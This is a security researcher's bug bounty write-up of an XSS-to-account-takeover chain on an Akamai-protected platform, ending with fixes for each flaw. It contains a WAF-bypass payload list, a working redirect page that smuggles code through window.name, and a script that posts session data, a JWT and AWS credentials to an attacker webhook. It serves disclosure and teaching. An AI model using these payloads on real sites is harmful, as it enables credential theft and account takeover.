June 27, 2026
Chaining a DOM XSS Sink, WAF Bypass, Cross-Origin Smuggling, and SDK Abuse into One Click Account…
One click, eight seconds, nine webhook hits. It started with a single bracket character that broke an Akamai WAF rule.

By Alvin Ferdiansyah
7 min read
There's a browser property called window.name that's easy to overlook because it behaves differently from what most browser state does, it persists across navigations. Whatever you set it to on your own page arrives intact in the next origin the tab visits, and if that origin evaluates it as code, you never had to put your payload in a URL at all. That's the part Akamai never saw, and honestly one of the cleanest bypasses I've come across.
I've been hunting on this large platform's bug bounty program on HackerOne for a while. They have a broad wildcard scope and run Akamai in front of everything meaningful. That combination produces a specific kind of bug: the sink is usually there, the WAF is usually in the way, and the interesting question is always whether you can thread the payload through the gap between them.
This writeup is about a chain that took four independent defects to complete: a DOM XSS sink with no scheme validation, an Akamai WAF rule with a structural flaw, the window.name property's unusual cross-origin behavior, and a first-party authentication SDK that hands over signed credentials to whoever executes JavaScript in its origin. Any one of those four things is a bug report on its own. Together they were a one-click account takeover that handed me the victim's signed JWT and live AWS STS credentials in two separate AWS accounts.
1. Finding the Sink
I was reading the application's JavaScript bundles looking for open redirect sinks, anything that consumes a URL parameter and passes it directly to location.assign, location.replace, or location.href. The error-page component stood out immediately.
The application handles a set of named error conditions, clock drift, filter failures, auth service timeouts, with a shared React component that renders a user-facing message and an action button. The button's onClick handler reads a backURL query parameter and calls window.location.assign on it. Here's the relevant function from the minified production bundle:
A = function(e){
var r = e.id, t = (0, k.zy)(), n = new URLSearchParams(t.search);
function o(e){
e.preventDefault();
var r = n.get("backURL");
("Reload Page" !== f && "Please try again." !== f) || !r
? window.location.assign(g || t.pathname)
: window.location.assign(r); // no validation
}
var s = O.$D[r], u = s.img, d = s.title, p = s.description, f = s.action, g = s.linkText;
return …<button onClick={o}>{f}</button>…;
}A = function(e){
var r = e.id, t = (0, k.zy)(), n = new URLSearchParams(t.search);
function o(e){
e.preventDefault();
var r = n.get("backURL");
("Reload Page" !== f && "Please try again." !== f) || !r
? window.location.assign(g || t.pathname)
: window.location.assign(r); // no validation
}
var s = O.$D[r], u = s.img, d = s.title, p = s.description, f = s.action, g = s.linkText;
return …<button onClick={o}>{f}</button>…;
}window.location.assign executes a javascript: URL synchronously in the calling document's origin. There is no scheme check, no host check, no sanitization. The only gate is that the button's action label must be "Reload Page" or "Please try again.", determined by the error type in the URL path, for the dangerous branch to run.
The cleanest entry point was an error path whose rendered button reads "Reload Page" and presents itself as a routine timing error. Nothing suspicious about the URL bar. It's a real application domain throughout.
The sink is there. The problem is getting a javascript: payload through Akamai.
2. The Wall
Akamai's WAF sits in front of the application. Send backURL=javascript:alert(1) and you get HTTP 403. Expected. The interesting question is what the rule actually looks like.
I started mapping it systematically, every encoding trick I knew:
javascript:alert(1) → 403
javascript:alert%28%29 → 403 (percent-encoded parens)
javascript:%2528%2529 → 403 (double-encoded)
javascript:eval(name) → 403
javascript:Function(name)() → 403
javascript:setTimeout(name) → 403
javascript:[].constructor.constructor(name)() → 403
javascript:({}).valueOf.constructor(name)() → 403
javascript:new Function(name)() → 403
javascript:document.body.innerHTML=… → 403
javascript:location='https://…' → 403
javascript:alert(1) → 403 (unicode escapes)
java%E2%80%8Bscript:alert(1) → 403 (zero-width space)
java%C0%80script:alert(1) → 403 (overlong UTF-8)javascript:alert(1) → 403
javascript:alert%28%29 → 403 (percent-encoded parens)
javascript:%2528%2529 → 403 (double-encoded)
javascript:eval(name) → 403
javascript:Function(name)() → 403
javascript:setTimeout(name) → 403
javascript:[].constructor.constructor(name)() → 403
javascript:({}).valueOf.constructor(name)() → 403
javascript:new Function(name)() → 403
javascript:document.body.innerHTML=… → 403
javascript:location='https://…' → 403
javascript:alert(1) → 403 (unicode escapes)
java%E2%80%8Bscript:alert(1) → 403 (zero-width space)
java%C0%80script:alert(1) → 403 (overlong UTF-8)Getter tricks, backtick calls, throw expressions. All 403. After about eighty probes I stopped trying variants and started looking at the data differently. I wrote down what every blocked payload had in common, and separately what every passing payload had in common.
The passing ones:
javascript:top[name](1) → 200
javascript:[name].forEach(top[name]) → 200
javascript:Promise.resolve(name).then(top[name]) → 200
javascript:Reflect.apply(top[name],null,[1]) → 200javascript:top[name](1) → 200
javascript:[name].forEach(top[name]) → 200
javascript:Promise.resolve(name).then(top[name]) → 200
javascript:Reflect.apply(top[name],null,[1]) → 200Every blocked payload had a JavaScript keyword sitting directly adjacent to an opening parenthesis. alert(, eval(, Function(, setTimeout(. Every passing payload had some non-whitespace token between the keyword and the paren. Akamai's rule appeared to be a regex matching keyword immediately followed by a paren, with optional whitespace in between. Insert anything else between the keyword and the call and the rule never fires.
3. The Payload
The winning payload was :
javascript:top["setTimeout"](name)javascript:top["setTimeout"](name)top["setTimeout"] is property-access syntax. Akamai sees no keyword adjacent to a paren, so the request passes with HTTP 200. The browser resolves top["setTimeout"] to window.setTimeout. Then it calls it with window.name as the argument. setTimeout with a string argument evaluates that string as JavaScript, same behavior as eval, without the word eval appearing anywhere in the URL.
What makes this composable is what window.name actually is. It's a per-tab string property that survives cross-origin navigation. When a user follows a link from attacker.example.com to the target application, the tab's window.name carries over. It's not governed by the same-origin policy. It belongs to the tab, not the document. So I set window.name to any JavaScript I want on my own page, then redirect the user to the vulnerable error URL. The payload is never in the URL, never inspected by Akamai. The URL contains only the harmless-looking dispatcher.
The attacker page is four lines:
<!DOCTYPE html>
<html><body>
<script>
window.name = "alert('XSS in ' + document.domain)";
location.href =
"https://app.[target].com/[feature]/error/clock-sync"
+ "?backURL=javascript:top%5B%22setTimeout%22%5D(name)";
</script>
</body></html><!DOCTYPE html>
<html><body>
<script>
window.name = "alert('XSS in ' + document.domain)";
location.href =
"https://app.[target].com/[feature]/error/clock-sync"
+ "?backURL=javascript:top%5B%22setTimeout%22%5D(name)";
</script>
</body></html>Victim lands on the attacker page, gets redirected to a real application URL, sees a "Time Sync Error" page with a Reload Page button, and clicks it. JavaScript executes in the target origin. Confirmed from a live run:
[XSS-FIRED] alert: XSS in app.[target].com cookie=[session]=…[XSS-FIRED] alert: XSS in app.[target].com cookie=[session]=…
4. The SDK
Arbitrary code execution in the target origin is already a serious finding. But the application loads something that turns it into a much bigger problem.
Every page on this platform loads two SDK bundles from the platform's own CDN. Together they install a global authentication object on the window with 21 methods. The ones that matter here:
[platform].core.iam.getAuthSession() // full session metadata + profile
[platform].core.iam.getJWTToken() // signed platform JWT
[platform].core.iam.getTempAWSCreds(domain) // live AWS STS temporary credentials
[platform].core.iam.getCatapultId() // Cognito identity pool ID[platform].core.iam.getAuthSession() // full session metadata + profile
[platform].core.iam.getJWTToken() // signed platform JWT
[platform].core.iam.getTempAWSCreds(domain) // live AWS STS temporary credentials
[platform].core.iam.getCatapultId() // Cognito identity pool IDThese methods make credentialed XHR calls back to the platform's IAM endpoints with credentials included. The browser attaches the session cookie to those requests automatically, even if the cookie is HttpOnly. The SDK functions return the IAM responses directly to the calling JavaScript.
The SDK is the cookie. You don't need to read document.cookie. You call getTempAWSCreds() and it comes back with an access key ID, a secret, and a session token. The platform exposes two different AWS domains to standard user accounts. Two separate AWS accounts.
5. The Chain
The payload that runs inside the target origin once window.name is evaluated:
(async function() {
var h = 'https://[ATTACKER-WEBHOOK]';
var send = function(label, data) {
return fetch(h, {
method: 'POST', mode: 'no-cors',
headers: {'Content-Type': 'text/plain'},
body: JSON.stringify({ label: label, origin: document.domain, cookies: document.cookie, data: data })
});
};
await send('handshake', 'fired in ' + document.domain);
var s = [platform].core.iam.getAuthSession();
await send('session', s);
await send('jwt', await [platform].core.iam.getJWTToken());
await send('aws_a', await [platform].core.iam.getTempAWSCreds('[aws-domain-a]'));
await send('aws_b', await [platform].core.iam.getTempAWSCreds('[aws-domain-b]'));
}());(async function() {
var h = 'https://[ATTACKER-WEBHOOK]';
var send = function(label, data) {
return fetch(h, {
method: 'POST', mode: 'no-cors',
headers: {'Content-Type': 'text/plain'},
body: JSON.stringify({ label: label, origin: document.domain, cookies: document.cookie, data: data })
});
};
await send('handshake', 'fired in ' + document.domain);
var s = [platform].core.iam.getAuthSession();
await send('session', s);
await send('jwt', await [platform].core.iam.getJWTToken());
await send('aws_a', await [platform].core.iam.getTempAWSCreds('[aws-domain-a]'));
await send('aws_b', await [platform].core.iam.getTempAWSCreds('[aws-domain-b]'));
}());The attacker page that delivers it. The payload above is serialized into window.name as a plain string, then the victim is redirected. Since window.name persists across navigations, it arrives intact in the target origin where setTimeout evaluates it.
<!DOCTYPE html>
<html><body>
<script>
window.name = "(async function(){ /* payload above */ }())";
location.href =
"https://app.[target].com/[feature]/error/clock-sync"
+ "?backURL=javascript:top%5B%22setTimeout%22%5D(name)";
</script>
</body></html><!DOCTYPE html>
<html><body>
<script>
window.name = "(async function(){ /* payload above */ }())";
location.href =
"https://app.[target].com/[feature]/error/clock-sync"
+ "?backURL=javascript:top%5B%22setTimeout%22%5D(name)";
</script>
</body></html>I ran this against my own test account. Nine POSTs hit the webhook in 8 seconds.
The session object came back with the full profile: first name, username, account namespace, account type, plus a session UUID. The JWT was 1488 characters, RS256, signed by the platform's auth service, accepted as bearer credentials at every platform API for roughly 15 minutes. Its decoded payload included the victim's legal name, email, home address, graduation date, and cohort year, all regulated education records, potentially belonging to a minor.
Then the AWS credentials. The first set resolved to a named user IAM role in one AWS account. The second set, confirmed by a different key ID prefix and a distinct account identifier in the token metadata, came from a completely separate AWS account. Both arrived from a single javascript: URL, via a button labeled "Reload Page," on a page that looked entirely legitimate.
6. Four Bugs, Not One
The chain works because four things fail at the same time, each independently.
The first is the sink itself. The error page reads backURL from the query string and passes it directly to window.location.assign without checking the scheme. The fix is straightforward: parse the value with new URL() and reject anything whose protocol field isn't https. That one change kills the entire chain regardless of what the WAF does or doesn't do.
The second is the WAF rule. Akamai's pattern matches a keyword directly adjacent to an opening paren. It has no awareness of property-access syntax, so top["setTimeout"], where the keyword appears inside a string accessed via bracket notation, doesn't trigger it. A rule that rejects any request URL whose scheme is javascript: outright, regardless of the surrounding syntax, would close this. But as I found over eighty probes, a regex-based keyword-paren rule has a structural hole.
The third is window.name. This is documented browser behavior. window.name is intentionally cross-origin, a design decision from before postMessage existed, when developers needed a way to pass data across frames. There's no browser-level fix for this. The only mitigation is making sure the application sink isn't exploitable in the first place, because once the sink is gone there's nothing for the smuggling channel to deliver to.
The fourth is the auth SDK. When a platform loads authentication logic as a global object on every page, any XSS anywhere in its wildcard scope becomes a full credential theft, not just a session hijack. Cookie flags are irrelevant when the SDK makes credentialed requests on your behalf and returns the credentials directly to the executing script. The payload sitting in window.name, all 1896 characters of it, never appeared in the request that passed through Akamai. The URL that did pass through was clean.
Takeways
The useful thing was not the string.
The useful thing was the model.
When every encoding trick returns 403, probing more variants is usually the wrong level of work. Model the rule. The key observation was not "this payload works." It was "the blocked payloads all have keyword-call adjacency, and the passing payloads all break that adjacency."
window.name remains worth keeping in mind for javascript URL sinks because it separates transport from payload. The WAF sees the dispatcher. The tab carries the code.
Global auth SDKs change XSS severity. If the page exposes methods that mint JWTs, temporary AWS credentials, signed API requests, or profile objects, the question is no longer only "can I steal the cookie?" The better question is what the platform already exposes to JavaScript after login.
The reload button did exactly what the developers asked it to do. It reloaded the user toward a URL from the query string.
The browser supplied the rest.